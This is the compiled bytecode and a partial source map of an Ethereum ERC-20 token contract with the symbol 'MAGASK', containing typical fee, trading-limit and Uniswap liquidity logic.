0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031d578063bf474bed1461033c578063c9567bf914610351578063dd62ed3e14610365578063ec1f3f63146103a9575f80fd5b8063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b45780638f9a55c0146102da57806395d89b41146102ef575f80fd5b806323b872dd116100e357806323b872dd146101f5578063313ce5671461021457806351bc3c851461022f57806370a0823114610243578063715018a614610277575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806317a1c277146101c057806318160ddd146101e1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a26a0a3a0a9a59022a627a760a91b60208201525b60405161016591906117b4565b60405180910390f35b348015610179575f80fd5b5061018d610188366004611816565b6103c8565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260115481565b604051908152602001610165565b3480156101cb575f80fd5b506101df6101da366004611816565b6103de565b005b3480156101ec575f80fd5b506101b26104fe565b348015610200575f80fd5b5061018d61020f366004611840565b61051e565b34801561021f575f80fd5b5060405160098152602001610165565b34801561023a575f80fd5b506101df610585565b34801561024e575f80fd5b506101b261025d36600461187e565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b506101df6105ee565b348015610296575f80fd5b506101df610668565b3480156102aa575f80fd5b506101b2600e5481565b3480156102bf575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102e5575f80fd5b506101b2600f5481565b3480156102fa575f80fd5b506040805180820190915260068152654d414741534b60d01b6020820152610158565b348015610328575f80fd5b5061018d610337366004611816565b610719565b348015610347575f80fd5b506101b260105481565b34801561035c575f80fd5b506101df610725565b348015610370575f80fd5b506101b261037f366004611899565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b4575f80fd5b506101df6103c33660046118d0565b610ad2565b5f6103d4338484610b17565b5060015b92915050565b6004546001600160a01b0316336001600160a01b0316146103fd575f80fd5b6040516370a0823160e01b81523060048201525f9061047e906064906104789085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561044e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047291906118e7565b90610c3a565b90610cbf565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af11580156104d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f891906118fe565b50505050565b5f61050b6009600a611a11565b61051990633b9aca00611a1f565b905090565b5f61052a848484610d00565b61057b843361057685604051806060016040528060288152602001611b92602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114f6565b610b17565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146105a4575f80fd5b305f9081526001602052604090205480158015906105cc57506013546001600160a01b031615155b156105da576105da8161152e565b4780156105ea576105ea8161169e565b5050565b5f546001600160a01b031633146106205760405162461bcd60e51b815260040161061790611a36565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106915760405162461bcd60e51b815260040161061790611a36565b61069d6009600a611a11565b6106ab90633b9aca00611a1f565b600e556106ba6009600a611a11565b6106c890633b9aca00611a1f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106f86009600a611a11565b61070690633b9aca00611a1f565b60405190815260200160405180910390a1565b5f6103d4338484610d00565b5f546001600160a01b0316331461074e5760405162461bcd60e51b815260040161061790611a36565b601354600160a01b900460ff16156107a85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610617565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f19030906107e36009600a611a11565b61057690633b9aca00611a1f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610841573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108659190611a6b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e89190611a6b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109569190611a6b565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061099d816001600160a01b03165f9081526001602052604090205490565b5f806109b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3b9190611a86565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab491906118fe565b506013805462ff00ff60a01b19166201000160a01b17905543600c55565b6004546001600160a01b0316336001600160a01b031614610af1575f80fd5b6007548111158015610b0557506008548111155b610b0d575f80fd5b6007819055600855565b6001600160a01b038316610b795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610617565b6001600160a01b038216610bda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610617565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f825f03610c4957505f6103d8565b5f610c548385611a1f565b905082610c618583611ab1565b14610cb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610617565b9392505050565b5f610cb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b6001600160a01b038316610d645760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610617565b6001600160a01b038216610dc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610617565b5f8111610e2e5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610617565b5f80546001600160a01b03858116911614801590610e5957505f546001600160a01b03848116911614155b1561116157610e846064610478600954600d5411610e7957600554610e7d565b6007545b8590610c3a565b6013549091506001600160a01b038581169116148015610eb257506012546001600160a01b03848116911614155b8015610ed657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbc57600e54821115610f2d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865204d617820547820616d6f756e742e0000000000006044820152606401610617565b600f5482610f4f856001600160a01b03165f9081526001602052604090205490565b610f599190611ad0565b1115610fa75760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865204d61782057616c6c65742073697a652e000000006044820152606401610617565b600d8054905f610fb683611ae3565b91905055505b6013546001600160a01b03848116911614801590610ff257506001600160a01b0383165f9081526003602052604090205460ff16155b1561107157600f5482611019856001600160a01b03165f9081526001602052604090205490565b6110239190611ad0565b11156110715760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865204d61782057616c6c65742073697a652e000000006044820152606401610617565b6013546001600160a01b03848116911614801561109757506001600160a01b0384163014155b156110c4576110c16064610478600a54600d54116110b757600654610e7d565b6008548590610c3a565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110fa57506013546001600160a01b038581169116145b801561110f5750601354600160b01b900460ff165b801561111c575060105481115b801561112b5750600b54600d54115b1561115f5761114d6111488461114384601154611701565b611701565b61152e565b47801561115d5761115d4761169e565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061119e57506001600160a01b0383165f9081526003602052604090205460ff165b80156111b757505f546001600160a01b03858116911614155b80156111cc57506001600160a01b0384163014155b80156111e157506001600160a01b0383163014155b156111eb57426014555b6001600160a01b0384165f9081526003602052604090205460ff16801561122d5750600a54600b54600c546112209190611ad0565b61122a9190611ad0565b43115b156112a1576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112939086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156112e157506001600160a01b0383165f9081526003602052604090205460ff16155b156113c2576013546001600160a01b0390811690841603611333576001600160a01b0384165f90815260156020526040902060145481546113229190611afb565b6002820155426001909101556113c2565b6001600160a01b0383165f908152601560205260409020805415801561136657506013546001600160a01b038681169116145b1561138e57600b54600d541061137c5742611387565b611387600142611afb565b81556113c0565b6001600160a01b0385165f908152601560205260409020815415806113b4575081548154105b156113be57805482555b505b505b801561143a57305f908152600160205260409020546113e19082611715565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114319085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461145c9083611773565b6001600160a01b0385165f9081526001602052604090205561149f6114818383611773565b6001600160a01b0385165f9081526001602052604090205490611715565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114e88585611773565b604051908152602001611293565b5f81848411156115195760405162461bcd60e51b815260040161061791906117b4565b505f6115258486611afb565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157457611574611b0e565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115ef9190611a6b565b8160018151811061160257611602611b0e565b6001600160a01b0392831660209182029290920101526012546116289130911684610b17565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116609085905f90869030904290600401611b22565b5f604051808303815f87803b158015611677575f80fd5b505af1158015611689573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105ea573d5f803e3d5ffd5b5f81836116f55760405162461bcd60e51b815260040161061791906117b4565b505f6115258486611ab1565b5f81831161170f5782610cb8565b50919050565b5f806117218385611ad0565b905083811015610cb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610617565b5f610cb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114f6565b5f6020808352835180828501525f5b818110156117df578581018301518582016040015282016117c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611813575f80fd5b50565b5f8060408385031215611827575f80fd5b8235611832816117ff565b946020939093013593505050565b5f805f60608486031215611852575f80fd5b833561185d816117ff565b9250602084013561186d816117ff565b929592945050506040919091013590565b5f6020828403121561188e575f80fd5b8135610cb8816117ff565b5f80604083850312156118aa575f80fd5b82356118b5816117ff565b915060208301356118c5816117ff565b809150509250929050565b5f602082840312156118e0575f80fd5b5035919050565b5f602082840312156118f7575f80fd5b5051919050565b5f6020828403121561190e575f80fd5b81518015158114610cb8575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561196b57815f19048211156119515761195161191d565b8085161561195e57918102915b93841c9390800290611936565b509250929050565b5f82611981575060016103d8565b8161198d57505f6103d8565b81600181146119a357600281146119ad576119c9565b60019150506103d8565b60ff8411156119be576119be61191d565b50506001821b6103d8565b5060208310610133831016604e8410600b84101617156119ec575081810a6103d8565b6119f68383611931565b805f1904821115611a0957611a0961191d565b029392505050565b5f610cb860ff841683611973565b80820281158282048414176103d8576103d861191d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a7b575f80fd5b8151610cb8816117ff565b5f805f60608486031215611a98575f80fd5b8351925060208401519150604084015190509250925092565b5f82611acb57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103d8576103d861191d565b5f60018201611af457611af461191d565b5060010190565b818103818111156103d8576103d861191d565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611b705784516001600160a01b031683529383019391830191600101611b4b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6992483a984f365bea9a066c7d1e6448b77653d138f75290f2892b43babff6464736f6c63430008140033

Deployed Bytecode Sourcemap

3476:9554:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5486:83;;;;;;;;;;-1:-1:-1;5556:5:0;;;;;;;;;;;;-1:-1:-1;;;5556:5:0;;;;5486:83;;;;;;;:::i;:::-;;;;;;;;6319:161;;;;;;;;;;-1:-1:-1;6319:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6319:161:0;1023:187:1;4555:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4555:52:0;1215:177:1;11293:268:0;;;;;;;;;;-1:-1:-1;11293:268:0;;;;;:::i;:::-;;:::i;:::-;;5763:95;;;;;;;;;;;;;:::i;6488:313::-;;;;;;;;;;-1:-1:-1;6488:313:0;;;;;:::i;:::-;;:::i;5672:83::-;;;;;;;;;;-1:-1:-1;5672:83:0;;4176:1;2000:36:1;;1988:2;1973:18;5672:83:0;1858:184:1;12611:379:0;;;;;;;;;;;;;:::i;5866:119::-;;;;;;;;;;-1:-1:-1;5866:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;2557:148;;;;;;;;;;;;;:::i;11126:159::-;;;;;;;;;;;;;:::i;4367:54::-;;;;;;;;;;;;;;;;2343:79;;;;;;;;;;-1:-1:-1;2381:7:0;2408:6;2343:79;;-1:-1:-1;;;;;2408:6:0;;;2445:51:1;;2433:2;2418:18;2343:79:0;2299:203:1;4428:56:0;;;;;;;;;;;;;;;;5577:87;;;;;;;;;;-1:-1:-1;5649:7:0;;;;;;;;;;;;-1:-1:-1;;;5649:7:0;;;;5577:87;;5993:167;;;;;;;;;;-1:-1:-1;5993:167:0;;;;;:::i;:::-;;:::i;4491:57::-;;;;;;;;;;;;;;;;11896:707;;;;;;;;;;;;;:::i;6168:143::-;;;;;;;;;;-1:-1:-1;6168:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6276:18:0;;;6249:7;6276:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6168:143;11669:219;;;;;;;;;;-1:-1:-1;11669:219:0;;;;;:::i;:::-;;:::i;6319:161::-;6394:4;6411:39;177:10;6434:7;6443:6;6411:8;:39::i;:::-;-1:-1:-1;6468:4:0;6319:161;;;;;:::o;11293:268::-;11393:10;;-1:-1:-1;;;;;11393:10:0;177;-1:-1:-1;;;;;11379:24:0;;11371:33;;;;;;11433:41;;-1:-1:-1;;;11433:41:0;;11468:4;11433:41;;;2445:51:1;11415:15:0;;11433:63;;11492:3;;11433:54;;11479:7;;-1:-1:-1;;;;;11433:26:0;;;;;2418:18:1;;11433:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;11533:10;;;11507:46;;-1:-1:-1;;;11507:46:0;;-1:-1:-1;;;;;11533:10:0;;;11507:46;;;3456:51:1;;;;3523:18;;;3516:34;;;11415:81:0;;-1:-1:-1;11507:25:0;;;;;;3429:18:1;;11507:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11360:201;11293:268;;:::o;5763:95::-;5816:7;4232:13;4176:1;4232:2;:13;:::i;:::-;4219:26;;:10;:26;:::i;:::-;5836:14;;5763:95;:::o;6488:313::-;6586:4;6603:36;6613:6;6621:9;6632:6;6603:9;:36::i;:::-;6650:121;6659:6;177:10;6681:89;6719:6;6681:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6681:19:0;;;;;;:11;:19;;;;;;;;177:10;6681:33;;;;;;;;;;:37;:89::i;:::-;6650:8;:121::i;:::-;-1:-1:-1;6789:4:0;6488:313;;;;;:::o;12611:379::-;12675:10;;-1:-1:-1;;;;;12675:10:0;177;-1:-1:-1;;;;;12661:24:0;;12653:33;;;;;;12736:4;12697:20;5959:18;;;:9;:18;;;;;;12756:14;;;;;:45;;-1:-1:-1;12774:13:0;;-1:-1:-1;;;;;12774:13:0;:27;;12756:45;12753:104;;;12815:30;12832:12;12815:16;:30::i;:::-;12886:21;12921:12;;12918:65;;12947:24;12960:10;12947:12;:24::i;:::-;12642:348;;12611:379::o;2557:148::-;2470:6;;-1:-1:-1;;;;;2470:6:0;177:10;2470:22;2462:67;;;;-1:-1:-1;;;2462:67:0;;;;;;;:::i;:::-;;;;;;;;;2664:1:::1;2648:6:::0;;2627:40:::1;::::0;-1:-1:-1;;;;;2648:6:0;;::::1;::::0;2627:40:::1;::::0;2664:1;;2627:40:::1;2695:1;2678:19:::0;;-1:-1:-1;;;;;;2678:19:0::1;::::0;;2557:148::o;11126:159::-;2470:6;;-1:-1:-1;;;;;2470:6:0;177:10;2470:22;2462:67;;;;-1:-1:-1;;;2462:67:0;;;;;;;:::i;:::-;4232:13:::1;4176:1;4232:2;:13;:::i;:::-;4219:26;::::0;:10:::1;:26;:::i;:::-;11179:12;:22:::0;4232:13:::1;4176:1;4232:2;:13;:::i;:::-;4219:26;::::0;:10:::1;:26;:::i;:::-;11212:14;:22:::0;11250:27:::1;4232:13;4176:1;4232:2;:13;:::i;:::-;4219:26;::::0;:10:::1;:26;:::i;:::-;11250:27;::::0;1361:25:1;;;1349:2;1334:18;11250:27:0::1;;;;;;;11126:159::o:0;5993:167::-;6071:4;6088:42;177:10;6112:9;6123:6;6088:9;:42::i;11896:707::-;2470:6;;-1:-1:-1;;;;;2470:6:0;177:10;2470:22;2462:67;;;;-1:-1:-1;;;2462:67:0;;;;;;;:::i;:::-;11960:11:::1;::::0;-1:-1:-1;;;11960:11:0;::::1;;;11959:12;11951:47;;;::::0;-1:-1:-1;;;11951:47:0;;6094:2:1;11951:47:0::1;::::0;::::1;6076:21:1::0;6133:2;6113:18;;;6106:30;6172:25;6152:18;;;6145:53;6215:18;;11951:47:0::1;5892:347:1::0;11951:47:0::1;12009:15;:80:::0;;-1:-1:-1;;;;;;12009:80:0::1;12046:42;12009:80:::0;;::::1;::::0;;;12100:58:::1;::::0;12117:4:::1;::::0;4232:13:::1;4176:1;4232:2;:13;:::i;:::-;4219:26;::::0;:10:::1;:26;:::i;12100:58::-;12203:15;;;;;;;;;-1:-1:-1::0;;;;;12203:15:0::1;-1:-1:-1::0;;;;;12203:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12185:55:0::1;;12249:4;12256:15;;;;;;;;;-1:-1:-1::0;;;;;12256:15:0::1;-1:-1:-1::0;;;;;12256:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12185:94;::::0;-1:-1:-1;;;;;;12185:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6730:15:1;;;12185:94:0::1;::::0;::::1;6712:34:1::0;6782:15;;6762:18;;;6755:43;6647:18;;12185:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12169:13;:110:::0;;-1:-1:-1;;;;;12169:110:0;;::::1;-1:-1:-1::0;;;;;;12169:110:0;;::::1;;::::0;;12290:15:::1;::::0;::::1;:31;12329:21;12360:4;12366:24;12360:4:::0;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;12366:24:::1;12391:1;12393::::0;12395:7:::1;2381::::0;2408:6;-1:-1:-1;;;;;2408:6:0;;2343:79;12395:7:::1;12290:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12290:129:0;;;-1:-1:-1;;;;;7168:15:1;;;12290:129:0::1;::::0;::::1;7150:34:1::0;7200:18;;;7193:34;;;;7243:18;;;7236:34;;;;7286:18;;;7279:34;7350:15;;;7329:19;;;7322:44;12403:15:0::1;7382:19:1::0;;;7375:35;7084:19;;12290:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12437:13:0::1;::::0;12468:15:::1;::::0;12430:71:::1;::::0;-1:-1:-1;;;12430:71:0;;-1:-1:-1;;;;;12468:15:0;;::::1;12430:71;::::0;::::1;3456:51:1::0;-1:-1:-1;;3523:18:1;;;3516:34;12437:13:0;::::1;::::0;-1:-1:-1;12430:29:0::1;::::0;3429:18:1;;12430:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12512:11:0::1;:18:::0;;-1:-1:-1;;;;12541:18:0;-1:-1:-1;;;12541:18:0;;;12583:12:::1;12570:10;:25:::0;11896:707::o;11669:219::-;11745:10;;-1:-1:-1;;;;;11745:10:0;177;-1:-1:-1;;;;;11731:24:0;;11723:33;;;;;;11782:12;;11773:7;:21;;:47;;;;;11807:13;;11798:7;:22;;11773:47;11765:56;;;;;;11830:12;:20;;;11859:13;:21;11669:219::o;6809:335::-;-1:-1:-1;;;;;6902:19:0;;6894:68;;;;-1:-1:-1;;;6894:68:0;;8213:2:1;6894:68:0;;;8195:21:1;8252:2;8232:18;;;8225:30;8291:34;8271:18;;;8264:62;-1:-1:-1;;;8342:18:1;;;8335:34;8386:19;;6894:68:0;8011:400:1;6894:68:0;-1:-1:-1;;;;;6981:21:0;;6973:68;;;;-1:-1:-1;;;6973:68:0;;8618:2:1;6973:68:0;;;8600:21:1;8657:2;8637:18;;;8630:30;8696:34;8676:18;;;8669:62;-1:-1:-1;;;8747:18:1;;;8740:32;8789:19;;6973:68:0;8416:398:1;6973:68:0;-1:-1:-1;;;;;7052:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7104:32;;1361:25:1;;;7104:32:0;;1334:18:1;7104:32:0;;;;;;;6809:335;;;:::o;1433:246::-;1491:7;1515:1;1520;1515:6;1511:47;;-1:-1:-1;1545:1:0;1538:8;;1511:47;1568:9;1580:5;1584:1;1580;:5;:::i;:::-;1568:17;-1:-1:-1;1613:1:0;1604:5;1608:1;1568:17;1604:5;:::i;:::-;:10;1596:56;;;;-1:-1:-1;;;1596:56:0;;9243:2:1;1596:56:0;;;9225:21:1;9282:2;9262:18;;;9255:30;9321:34;9301:18;;;9294:62;-1:-1:-1;;;9372:18:1;;;9365:31;9413:19;;1596:56:0;9041:397:1;1596:56:0;1670:1;1433:246;-1:-1:-1;;;1433:246:0:o;1687:132::-;1745:7;1772:39;1776:1;1779;1772:39;;;;;;;;;;;;;;;;;:3;:39::i;7152:3366::-;-1:-1:-1;;;;;7240:18:0;;7232:68;;;;-1:-1:-1;;;7232:68:0;;9645:2:1;7232:68:0;;;9627:21:1;9684:2;9664:18;;;9657:30;9723:34;9703:18;;;9696:62;-1:-1:-1;;;9774:18:1;;;9767:35;9819:19;;7232:68:0;9443:401:1;7232:68:0;-1:-1:-1;;;;;7319:16:0;;7311:64;;;;-1:-1:-1;;;7311:64:0;;10051:2:1;7311:64:0;;;10033:21:1;10090:2;10070:18;;;10063:30;10129:34;10109:18;;;10102:62;-1:-1:-1;;;10180:18:1;;;10173:33;10223:19;;7311:64:0;9849:399:1;7311:64:0;7403:1;7394:6;:10;7386:71;;;;-1:-1:-1;;;7386:71:0;;10455:2:1;7386:71:0;;;10437:21:1;10494:2;10474:18;;;10467:30;10533:34;10513:18;;;10506:62;-1:-1:-1;;;10584:18:1;;;10577:46;10640:19;;7386:71:0;10253:412:1;7386:71:0;7470:17;2408:6;;-1:-1:-1;;;;;7504:15:0;;;2408:6;;7504:15;;;;:32;;-1:-1:-1;2381:7:0;2408:6;-1:-1:-1;;;;;7523:13:0;;;2408:6;;7523:13;;7504:32;7500:1368;;;7565:76;7637:3;7565:67;7587:15;;7577:9;;:25;7576:55;;7617:14;;7576:55;;;7604:12;;7576:55;7565:6;;:10;:67::i;:76::-;7670:13;;7553:88;;-1:-1:-1;;;;;;7662:21:0;;;7670:13;;7662:21;:55;;;;-1:-1:-1;7701:15:0;;-1:-1:-1;;;;;7687:30:0;;;7701:15;;7687:30;;7662:55;:83;;;;-1:-1:-1;;;;;;7723:22:0;;;;;;:18;:22;;;;;;;;7721:24;7662:83;7658:318;;;7785:12;;7775:6;:22;;7767:61;;;;-1:-1:-1;;;7767:61:0;;10872:2:1;7767:61:0;;;10854:21:1;10911:2;10891:18;;;10884:30;10950:28;10930:18;;;10923:56;10996:18;;7767:61:0;10670:350:1;7767:61:0;7881:14;;7871:6;7855:13;7865:2;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;7855:13;:22;;;;:::i;:::-;:40;;7847:81;;;;-1:-1:-1;;;7847:81:0;;11357:2:1;7847:81:0;;;11339:21:1;11396:2;11376:18;;;11369:30;11435;11415:18;;;11408:58;11483:18;;7847:81:0;11155:352:1;7847:81:0;7949:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7658:318;8002:13;;-1:-1:-1;;;;;7996:19:0;;;8002:13;;7996:19;;;;:47;;-1:-1:-1;;;;;;8021:22:0;;;;;;:18;:22;;;;;;;;8019:24;7996:47;7992:169;;;8098:14;;8088:6;8072:13;8082:2;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;8072:13;:22;;;;:::i;:::-;:40;;8064:81;;;;-1:-1:-1;;;8064:81:0;;11357:2:1;8064:81:0;;;11339:21:1;11396:2;11376:18;;;11369:30;11435;11415:18;;;11408:58;11483:18;;8064:81:0;11155:352:1;8064:81:0;8186:13;;-1:-1:-1;;;;;8180:19:0;;;8186:13;;8180:19;:43;;;;-1:-1:-1;;;;;;8203:20:0;;8218:4;8203:20;;8180:43;8177:174;;;8256:79;8331:3;8256:70;8278:16;;8268:9;;:26;8267:58;;8310:15;;8267:58;;;8296:13;;8256:6;;:10;:70::i;:79::-;8244:91;;8177:174;8416:4;8367:28;5959:18;;;:9;:18;;;;;;8442:6;;-1:-1:-1;;;8442:6:0;;;;8441:7;:30;;;;-1:-1:-1;8458:13:0;;-1:-1:-1;;;;;8452:19:0;;;8458:13;;8452:19;8441:30;:45;;;;-1:-1:-1;8475:11:0;;-1:-1:-1;;;8475:11:0;;;;8441:45;:88;;;;;8512:17;;8491:20;:38;8441:88;:120;;;;;8543:18;;8533:9;;:28;8441:120;8437:420;;;8582:67;8599:49;8603:6;8610:37;8614:20;8635:11;;8610:3;:37::i;:::-;8599:3;:49::i;:::-;8582:16;:67::i;:::-;8697:21;8740:22;;8737:105;;8787:35;8800:21;8787:12;:35::i;:::-;8563:294;8437:420;7538:1330;7500:1368;-1:-1:-1;;;;;8885:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8913:22:0;;;;;;:18;:22;;;;;;;;8885:50;8884:69;;;;-1:-1:-1;2381:7:0;2408:6;-1:-1:-1;;;;;8940:13:0;;;2408:6;;8940:13;;8884:69;:92;;;;-1:-1:-1;;;;;;8957:19:0;;8971:4;8957:19;;8884:92;:113;;;;-1:-1:-1;;;;;;8980:17:0;;8992:4;8980:17;;8884:113;8880:176;;;9029:15;9014:12;:30;8880:176;-1:-1:-1;;;;;9070:24:0;;;;;;:18;:24;;;;;;;;:91;;;;;9144:16;;9125:18;;9114:10;;:29;;;;:::i;:::-;:46;;;;:::i;:::-;9099:12;:61;9070:91;9066:298;;;-1:-1:-1;;;;;9207:15:0;;;;;;;:9;:15;;;;;;:23;;;;;;;9249:13;;;;;;;;;;:23;;;;;;9307:24;;;;;;9224:6;1361:25:1;;1349:2;1334:18;;1215:177;9307:24:0;;;;;;;;9346:7;7152:3366;;;:::o;9066:298::-;-1:-1:-1;;;;;9379:24:0;;;;;;:18;:24;;;;;;;;9378:25;:52;;;;-1:-1:-1;;;;;;9408:22:0;;;;;;:18;:22;;;;;;;;9407:23;9378:52;9374:791;;;9456:13;;-1:-1:-1;;;;;9456:13:0;;;9450:19;;;;9446:708;;-1:-1:-1;;;;;9517:18:0;;9490:24;9517:18;;;:12;:18;;;;;9583:12;;9571:11;;:24;;9583:12;9571:24;:::i;:::-;9554:14;;;:41;9626:15;9614:9;;;;:27;9446:708;;;-1:-1:-1;;;;;9715:16:0;;9682:30;9715:16;;;:12;:16;;;;;9754:17;;:20;:45;;;;-1:-1:-1;9786:13:0;;-1:-1:-1;;;;;9778:21:0;;;9786:13;;9778:21;9754:45;9750:389;;;9853:18;;9843:9;;:28;9842:68;;9894:15;9842:68;;;9874:17;9890:1;